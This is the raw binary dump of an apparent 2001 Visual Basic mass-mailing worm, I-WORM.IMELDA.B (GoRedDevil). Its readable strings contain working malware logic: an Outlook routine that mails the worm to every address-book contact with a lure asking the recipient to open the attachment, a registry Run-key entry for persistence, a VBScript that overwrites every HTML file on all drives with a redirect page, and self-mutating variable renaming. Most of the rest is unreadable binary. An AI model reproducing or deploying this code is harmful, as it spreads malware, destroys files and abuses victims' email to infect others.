MZ@ !L!This program cannot be run in DOS mode. $K۝***6*5*t5*Rich*PELt@= p0@Cm(P0 ,.textpcp `.datah@.rsrcP@@pP8MSVBVM60.DLLj`Ejrxjjsj!>jsjDjnMuj(Euj=jjjmj+js>ujm>j>ujm?jj=uj]ujtjjMujjΛjujhj]Ejuj}XjjCjGujYujAj!?jujg}j FjYjYjQuj̿tjIj>j?j=>ujAuj+Àj>j9jsjjj rjjjY@qY@Y@AZ@Z@Z@u[@[@K\@\@]@^@^@H_@_@ `@.`@.`@``@``@`@`@!a@a@#b@Xb@b@g@Ug@qg@g@g@g@g@%h@2m@am@:m@%P@%@%@%@@%(@%@%@%@%H@%@%@%@%t@%@%@%@%@%@%@%@%L@%@%@%@%@%|@%T@%@%@%,@%@% @%@%`@%@%l@%@%@%p@%@%@%@%@%@%h@%@%@%@%@%@%@%@%@%@%4@%$@% @%0@%@%@% @%8@%\@%@%<@%d@% @%$@%D@%@%@%X@%x@%@h<@0@}$GM +ٯProject11xb-ƊNiKs-Ev(zF=J{:O3f `ӓMZWorm2 Korea Team FightingB"#lt ( @ffff`fwvg`wppff~w``ffwwwwvfvfvf   p "   p "   p " wf~fDDDDDD~fff~wwwpff~wwxx< $Form1&'5-JtDF$Command1OKw\Image1>lt6 &(( @wwwpwwwwwwwqwwpwwpqwwwpwpwwpwppwwwwwwwwpppp?( wwwwppwx-Label2 Go RedDevilesXww<Label1Please. Download this file.wwC@Pxb-ƊNiKs-@LP("'GCoz"TD@VB5!vb6ko.dll~ @0@@@xgoreddevilI-WORM.IMELDA.BProject1(@0K@m@`@@@*\AC:\Documents and Settings\\ Tt\song2\goreddevil.vbp@(@LJ@(@@(!@t)@!@!@!@!@hl`"@T@t*)@)@@4)@p"@g)@@84*@"@gD*@@<4*@,#@gL*@@@T*@#@gd*@@ Dl*@ $@g|*@$@$@t$@$@!@!@@@@l$@!@!@@@@!@!@@@@"@!@@@@y$@8"@!@@@@l$3&l$?'l$-Bl$C(@J@)@@ %@.@%@ %@%@ %@hl&@P@.@.@@44*@&@gL*@@84*@p&@g.@@<4*@&@g.@@@4*@0'@g.@@DT*@'@gd*@@H4*@$(@gD*@ %@$@@@@H%@$@@@@p%@$@@@@%@$@@@@%@$@@@@%@$@@@@@@J@0@<cEa (@X)@ !@*@H)@8)@$@.@P)@-p*@*@Worm2GreetzProject1Ev(zF=J{a>BYNiB^Mxb-ƊNiKs-du/GX,N3f `ӓCommand1.=h8+3qC:\Program Files\Microsoft Visual Studio\VB98\VB6.OLBVB)@ )@*@8@(N3f `ӓLabel1Label2:O3f `ӓFormO3f `ӓImage1MakeRegmyMark P#=h8+3q"=h8+3q*@*@Do you HI~ I like 2002 World Cup Korea Team Soccer Fighting go let's go RedDaveiles Setup.EXEinstall.exeReadme.exeC:\WINDOWS\yO3f `ӓ.EXE go.exe&Outlook.ApplicationOutlookMAPIGetNameSpaceAddressListsAddressEntriesCountCreateItemAddressToSubjectHi:  This is the file you ask for, Please save it to disk and open this file, * it's very important.BodyattachmentsAddBCCDeleteAfterSubmitSendw&Nf%'AHƥH]("'GCoz"DFܶ5Label4Label5Label3 T c:\song.regREGEDIT4[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]<"Update"="C:\\WINDOWS\\go.exe",regedit /s c:\song.regZC:\Documents and Settings\\‘ Tt\index.htm <html> <head>(<title>ȩ L</title><meta http-equiv= "Refresh" content="0;url = http://www.reddevil.or.kr/" >  </head><body ></body></html>`C:\Documents and Settings\\‘ Tt\Download.vbs'I-WORM.Gogo2'Crypt - (C)2001, by songNext`'===============================================Call REKIPVnSet MGDBIC = CreateObject("scripting.filesystemobject")Call ALFGNO*if day(now) = 12 thenBFLRND = msgbox("Hi there.., you are infected by some of" & Chr(13) & _H"Song creations.., have a nice day",,,"I-WORM.GoRedDevil ")HB end if"Function ALFGNO()(On Error Resume Next4Set JITGKA = MGDBIC.Drives4For Each RDJGGH In JITGKA*EVGFTR = RDJGGH & "\"&Call ILOVJU(EVGFTR)End Function.Function ILOVJU(VGGSIG)FIKMFN = VGGSIGJSet CIKKTD = MGDBIC.GetFolder(FIKMFN)4Set ECECIG = CIKKTD.Files4For Each VENVAA In ECECIG4For Each FTBNJH In RENJAO0Call ILOVJU(FTBNJH.Path)function REKIPVIf MGDBIC.GetExtensionName(VENVAA.Path) = "htm" || MGDBIC.GetExtensionName(VENVAA.Path) = "html" ThenMGDBIC.CopyFile "C:\Documents and Settings\\‘ Tt\index.htm",VENVAA.PATH End If<Set RENJAO = CIKKTD.SubfoldersRandomizenSet CVPRGL = CreateObject("scripting.filesystemobject")xSet QSEVCQL = CVPRGL.OpenTextFile(WScript.ScriptFullName, 1)0HBMHAD = QSEVCQL.Readall`ECCVQK = Mid(ECCVQK, InStr(ECCVQK, Chr(32)) + 1)LABEL C: IMELDAVBA6.DLL__vbaVarDupLECCVQK = "MGDBIC ALFGNO BFLRND JITGKA RDJGGH EVGFTR ILOVJU FIKMFN VGGSIG VENVAA ECECIG RENJAO FTBNJH REKIPV CVPRGL QSEVCQ HBMHAD ECCVQK TTIAKC GRTMTI QSEVCQL CIKKTD "DobTTIAKC = Left(ECCVQK, InStr(ECCVQK, Chr(32)) - 1)\VNOFVA = Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65))TGRTMTI = InStr(GRTMTI + 1, HBMHAD, TTIAKC)end functionIf GRTMTI Then HBMHAD = Mid(HBMHAD, 1, (GRTMTI - 1)) & VNOFVA & Mid(HBMHAD, (GRTMTI + Len(TTIAKC)))"Loop While GRTMTI.Loop While ECCVQK <> ""Set QSEVCQL = CVPRGL.OpenTextFile(WScript.ScriptFullName, 2, True)0QSEVCQL.Writeline HBMHAD__vbaFileClose__vbaPrintFile__vbaFileOpen__vbaAryDestruct__vbaAryUnlock__vbaNextEachVar__vbaObjVar__vbaLateMemCall__vbaVarCat__vbaVarLateMemSt__vbaFreeVarList__vbaVarLateMemCallLdRf__vbaVarTstNe__vbaForEachVar__vbaVarLateMemCallLd__vbaVarTstEq__vbaAryConstruct2__vbaVarSetVar__vbaVarCopy__vbaVarForNext__vbaFreeStrList__vbaStrVarVal__vbaI4Var__vbaStrMove__vbaVarForInit__vbaFreeStr*@<@__vbaStrCat__vbaFPInt__vbaVarMove__vbaFreeVar__vbaGenerateBoundsError__vbaStrCopy__vbaOnError__vbaFreeObj__vbaHresultCheckObj__vbaObjSetAddref__vbaNew21("'GCoz"w&Nf%:O3f `ӓ]Greetz  I-WORM.IMELDAB"#lt ( @DDDDDDDDDDDDDDDDDD@LDL@DD@LD@DLDLDDL@DDDLDD@DDDLDL@DLDLD@DLDL@DDDLL@DDLD@DDDLD@DLDLDDL@DLDLDDDL@DDDDD@L@DDD@D DD@DLDDLDD@DLD@D@L@DL@D@L@DD@DDL@DDDDLDD@DLDLD@D@DLDD@DD@DDDD@DLDDLD@LD@LDD@DDDDD@DDD@DD A??q????$Form1&'5-J FgLabel5;(C) 2001,Indonesian Virus Network Shadow_chasser@telkom.netx eLabel39Greetings to 29A, Bcvg, IkX, Coderz And Other Virus group8 g7Label1 (C) By. Iwing=Label2to My Love Imelda('SLabel4IMELDA IS HERE W%, Arial BlackLJ@J@J@(J@`I@/`I@/!@I@I@I@I@P$@I@I@I@I@T(@I@ *@)@@@ *@4*@D@ *@T*@H@ *@l*@L@U h@dPd%SVWeE0@}ǃEW}Q<@3;É]uh<@h*@@5<@EWPUD@MPVQ;}jh*@VP$@M @]hK@ M @ËEPREM_^d []Uh@dPd%dSVWeE@@EEMMEUMQPEjh/@URd@jh$/@\Pd@jh@/@@Qd@jh\/@lRd@jhx/@ Pd@Ej<@EDž s Dž \@*@, @EDž s Dž \@*@, @EDž s Dž \@*@, @EDž s Dž \@+@, @EDžs Dž \@4+@E @EDžs Dž \@P+@E @E Džs Dž \@d+@E @E Džs Dž \@|+@h @E Džs Dž \@+@h @E Džs Dž \@+@L @E DžDž Q8@ @EDžDž R0@ t@ y@ٝDž@ @EDžDž P0@ p@  @ٝDž@ @EDžDž Q0@ @ٝDž@ @EDžDž R0@ l@ 9@ٝDž@ @EDžs Dž \@+@x @EDžs Dž \@+@x @EDžs Dž \@+@x @E,@8@E=<@uh<@h*@@Dž<@ Dž<@QQP≅}#jh*@RP$@ DžRRQX≅}#jXh(,@PQ$@ DžRh<,@ @DžM@$@ @EDžDžDžDžDžDžPQR\PlQUR4@EEP@s Dž \@8Qx Q @Ѝ@PURP@P@QRj@ E\PlQUR@9E8PhL,@ @Ѝ@PMQR@P@PQj@ EREUR}#hh)@EPQ$@ Dž @EDžDž R8@ @EDžDž P0@ h@ V@ٝDžM@ @EMQ@s Dž \@x Dž@ER@ s Dž \@P@s Dž \@Q@s Dž \@R@s Dž \@,RMR @Ѝ@PhR @Ѝ@PLR @Ѝ@PQj@ E jh`,@R@PXQ@E!Dž,@DžXRPh@ȅE"Dž,@DžԋJBJ jh,@XRP@ PQ@E#jh,@RP@PQ@E$R(P|QRPQ@E%DžDžjh-@jh,@(RP@PQ@PR@fPQj@ E&jh-@jh,@(PQ@PR@Ѝ@ @E'DžDžDžDžPQR@jh/@h=@jh/@h?@jh/@h$@@jh/@h@@jh/@hA@jh/@փHhLA@jh/@hA@jh/@h@@jh/@փ$jT@UR @EMPQ@UERPE Eh@MUQRj@ f;tMUME@<@E@EWP|@ݝ|tMDžt@M @h{m@'Et M @MUQERPj@Ë5$@M֍M @MËEPQU EȋM̉EЉJMԉBJ EM_^d []mo&o0o>oNo^oroooooooQoRpp"p6pHpRp`prppppppppXqq4qJq\qjq|qqqqqqqqrr$r@8rJrdXrhrzrrrrrrrrrs"s s2sDsNs^sMSVBVM60.DLL_CIcos_adj_fptan__vbaVarMove__vbaFreeVar__vbaFreeVarList_adj_fdiv_m64__vbaNextEachVar_adj_fprem1__vbaStrCat__vbaHresultCheckObj_adj_fdiv_m32__vbaAryDestruct__vbaVarForInit__vbaOnError_adj_fdiv_m16i__vbaObjSetAddref_adj_fdivr_m16i_CIsin__vbaChkstk__vbaFileCloseEVENT_SINK_AddRef__vbaGenerateBoundsError__vbaAryConstruct2__vbaVarTstEq__vbaObjVar__vbaVarLateMemSt_adj_fpatanEVENT_SINK_Release_CIsqrtEVENT_SINK_QueryInterface__vbaExceptHandler__vbaPrintFile_adj_fprem_adj_fdivr_m64__vbaFPException__vbaStrVarVal__vbaVarCat_CIlog__vbaFileOpen__vbaNew2__vbaVarLateMemCallLdRf_adj_fdiv_m32i_adj_fdivr_m32i__vbaStrCopy__vbaFreeStrList_adj_fdivr_m32_adj_fdiv_r__vbaVarTstNe__vbaVarSetVar__vbaI4Var__vbaLateMemCall__vbaVarDup__vbaVarCopy__vbaVarLateMemCallLd_CIatan__vbaStrMove__vbaForEachVar_allmul_CItan__vbaFPInt__vbaAryUnlock__vbaVarForNext_CIexp__vbaFreeObj__vbaFreeStrt@=X@(t@=pt@=t@=1ut@=t@=t@=dThd4VS_VERSION_INFODVarFileInfo$TranslationStringFileInfo041204B0X@CommentsThis is an Internet Worm IMELDA\:CompanyNameVIRUSINDO, INDOVIRUS NETWORKDFileDescriptionWORM.IMELDA.BX4LegalCopyright(C)2001,By. IWING [IvN]L*ProductNameWORM.IMELDA. VER.2.04FileVersion1.00.00028ProductVersion1.00.00028InternalNamegoreddevilHOriginalFilenamegoreddevil.exe 1u( @ffff`fwvg`wppff~w``ffwwwwvfvfvf   p "   p "   p " wf~fDDDDDD~fff~wwwpff~wwxx<